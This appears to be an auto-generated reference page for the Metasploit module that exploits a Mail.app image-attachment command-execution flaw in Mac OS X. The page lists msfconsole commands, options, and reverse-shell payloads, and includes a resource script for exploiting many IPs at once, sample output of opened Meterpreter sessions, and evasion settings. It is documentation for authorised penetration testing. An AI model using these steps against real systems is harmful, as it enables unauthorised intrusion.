Mail.app Image Attachment Command Execution - Metasploit
This page contains detailed information about how to use the exploit/osx/email/mailapp_image_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Mail.app Image Attachment Command Execution
Module: exploit/osx/email/mailapp_image_exec
Source code: modules/exploits/osx/email/mailapp_image_exec.rb
Disclosure date: 2006-03-01
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): OSX, Unix
Target service / protocol: smtp, smtps
Target network port(s): 25, 465, 587, 2525, 25000, 25025
List of CVEs: CVE-2006-0395, CVE-2007-6165
This module exploits a command execution vulnerability in the Mail.app application shipped with Mac OS X 10.5.0. This flaw was patched in 10.4 in March of 2007, but reintroduced into the final release of 10.5.
Module Ranking and Traits
Module Ranking:
- manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.
Basic Usage
Using mailapp_image_exec against a single host
Normally, you can use exploit/osx/email/mailapp_image_exec this way:
msf > use exploit/osx/email/mailapp_image_exec
msf exploit(mailapp_image_exec) > show targets
... a list of targets ...
msf exploit(mailapp_image_exec) > set TARGET target-id
msf exploit(mailapp_image_exec) > show options
... show and set options ...
msf exploit(mailapp_image_exec) > exploit
Using mailapp_image_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your mailapp_image_exec will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/osx/email/mailapp_image_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RHOST: The SMTP server to send through
MAILTO: The TO address of the email
SUBJECT: Subject line of the email
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Msfconsole Usage
Here is how the osx/email/mailapp_image_exec exploit module looks in the msfconsole:
msf6 > use exploit/osx/email/mailapp_image_exec
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(osx/email/mailapp_image_exec) > show info
Name: Mail.app Image Attachment Command Execution
Module: exploit/osx/email/mailapp_image_exec
Platform: Unix, OSX
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Manual
Disclosed: 2006-03-01
Provided by:
hdm <[email protected]>
kf <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
1 Mail.app - Command Payloads
2 Mail.app - Binary Payloads (x86)
3 Mail.app - Binary Payloads (ppc)
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DATE no Override the DATE: field with this value
DOMAIN no SMTP Domain to EHLO to
MAILFROM [email protected] yes The FROM address of the e-mail
MAILTO yes The TO address of the email
PASSWORD no SMTP Password for sending email
RHOST yes The SMTP server to send through
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 25 yes The SMTP server port (e.g. 25, 465, 587, 2525) (TCP)
SUBJECT yes Subject line of the email
USERNAME no SMTP Username for sending email
VERBOSE no Display verbose information
Payload information:
Space: 8192
Avoid: 0 characters
Description:
This module exploits a command execution vulnerability in the
Mail.app application shipped with Mac OS X 10.5.0. This flaw was
patched in 10.4 in March of 2007, but reintroduced into the final
release of 10.5.
References:
https://nvd.nist.gov/vuln/detail/CVE-2006-0395
https://nvd.nist.gov/vuln/detail/CVE-2007-6165
OSVDB (40875)
http://www.securityfocus.com/bid/26510
http://www.securityfocus.com/bid/16907
Module Options
This is a complete list of options available in the osx/email/mailapp_image_exec exploit:
msf6 exploit(osx/email/mailapp_image_exec) > show options
Module options (exploit/osx/email/mailapp_image_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
DATE no Override the DATE: field with this value
DOMAIN no SMTP Domain to EHLO to
MAILFROM [email protected] yes The FROM address of the e-mail
MAILTO yes The TO address of the email
PASSWORD no SMTP Password for sending email
RHOST yes The SMTP server to send through
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 25 yes The SMTP server port (e.g. 25, 465, 587, 2525) (TCP)
SUBJECT yes Subject line of the email
USERNAME no SMTP Username for sending email
VERBOSE no Display verbose information
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the osx/email/mailapp_image_exec exploit:
msf6 exploit(osx/email/mailapp_image_exec) > show advanced
Module advanced options (exploit/osx/email/mailapp_image_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
WORKSPACE no Specify the workspace for this module
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the osx/email/mailapp_image_exec module can exploit:
msf6 exploit(osx/email/mailapp_image_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
1 Mail.app - Command Payloads
2 Mail.app - Binary Payloads (x86)
3 Mail.app - Binary Payloads (ppc)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the osx/email/mailapp_image_exec exploit:
msf6 exploit(osx/email/mailapp_image_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
1 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
2 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
3 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
4 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
5 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
6 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
7 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
8 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
9 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
10 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
11 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
12 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
13 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
14 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
15 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
16 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
17 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
18 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
19 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
20 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
21 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
22 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
23 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
24 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
25 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
26 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
27 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
28 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
29 payload/generic/custom normal No Custom Payload
30 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the osx/email/mailapp_image_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(osx/email/mailapp_image_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5822 Merged Pull Request: Fix #5659: Update CMD exploits payload compatibility options
- #2525 Merged Pull Request: Change module boilerplate
- #2491 Merged Pull Request: Bug #8419 - Added platform info missing on exploits
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
References
- CVE-2006-0395
- CVE-2007-6165
- OSVDB (40875)
- BID-26510
- BID-16907
See Also
Check also the following modules related to this module:
- exploit/apple_ios/email/mobilemail_libtiff
- exploit/windows/email/ms07_017_ani_loadimage_chunksize
- exploit/windows/email/ms10_045_outlook_ref_only
- exploit/windows/email/ms10_045_outlook_ref_resolve
- auxiliary/client/smtp/emailer
- auxiliary/gather/search_email_collector
- auxiliary/scanner/http/wp_email_sub_news_sqli
- auxiliary/vsploit/pii/email_pii
- exploit/linux/http/grandstream_ucm62xx_sendemail_rce
- exploit/unix/local/emacs_movemail
- exploit/windows/fileformat/adobe_collectemailinfo
- post/windows/gather/credentials/windowslivemail
- exploit/osx/browser/safari_user_assisted_applescript_exec
- exploit/linux/http/bludit_upload_images_exec
- exploit/multi/browser/java_storeimagearray
- exploit/unix/fileformat/imagemagick_delegate
- exploit/unix/webapp/cacti_graphimage_exec
- exploit/unix/webapp/wp_pixabay_images_upload
- exploit/windows/browser/blackice_downloadimagefileurl
- exploit/windows/browser/ms07_017_ani_loadimage_chunksize
- exploit/windows/fileformat/coolpdf_image_stream_bof
- exploit/windows/fileformat/djvu_imageurl
- exploit/windows/fileformat/proshow_cellimage_bof
- exploit/windows/http/avaya_ccr_imageupload_exec
- exploit/windows/http/kaseya_uploadimage_file_upload
- exploit/windows/local/ms15_051_client_copy_image
- exploit/windows/local/persistence_image_exec_options
- auxiliary/admin/appletv/appletv_display_image
- post/apple_ios/gather/ios_image_gather
- post/windows/gather/forensics/imager
Related Nessus plugins:
- Mac OS X Multiple Vulnerabilities (Security Update 2006-001)
- Mac OS X Multiple Vulnerabilities (Security Update 2007-009)
Authors
- hdm
- kf
Version
This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.
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